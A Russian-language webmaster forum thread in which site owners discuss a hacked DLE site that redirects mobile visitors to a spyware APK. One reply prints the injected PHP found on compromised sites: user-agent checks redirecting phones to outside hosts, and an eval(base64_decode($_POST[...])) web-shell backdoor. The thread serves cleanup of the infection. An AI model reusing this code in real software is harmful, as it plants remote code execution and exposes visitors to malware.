редирект с мобильной версии сайта на browser_update_install.apk

[paulic]

столкнулся с такой проблемой:
есть сайт RUS.kg работает нормально, но увы мобильная версия (при условие запуска с мобильного телефона) загружает вместо сайт какую-то шпионскую программу browser_update_install.apk

кто-нить сталкивался с таким? если да то подскажите как вылечить

[Morfiy]

paulic, выложите сюда файл .htaccess, скорее всего через него сделали редирект.

[snegovik]

В начале января огромное количество DLE было взломано. Т.к это явление было массовым, думаю ломали автоматизированным скриптом.
Редирект содержит следующий код -

Код:

Только зарегистрированные пользователи могут видеть код. Пожалуйста, войдите или зарегистрируйтесь.
Проверяйте все файлы. Но в основном, этот код находиться в этих:
 /engine/data/config.php
 /engine/data/dbconfig.php
 /engine/init.php
 index.php

У меня лично был в этих файлах. Может ещё где найду.

[kinozal]

Привет !!!!
это тоже оно

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
    header('Location: http://statuses.ws/');
}$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
    header('Location: http://statuses.ws/');
}if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yandex-google.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));$tpl->compile ( 'main' );
$tpl->result['main'] = str_ireplace( '{THEME}', $config['http_home_url'] . 'templates/' . $config['skin'], $tpl->result['main'] );
if ($replace_url) $tpl->result['main'] = str_replace ( $replace_url[0]."/", $replace_url[1]."/", $tpl->result['main'] );
$tpl->result['main'] = str_replace ( '<img src="http://'.$_SERVER['HTTP_HOST'].'/', '<img src="/', $tpl->result['main'] );

[paulic]

/engine/data/config.php
 /engine/data/dbconfig.php
 /engine/init.php
 index.php

странно эти файлы чистые

Добавлено: 19-03-2013, 21:27:58

 /engine/data/config.php
 /engine/data/dbconfig.php
 /engine/init.php
 index.php

странно эти файлы чистые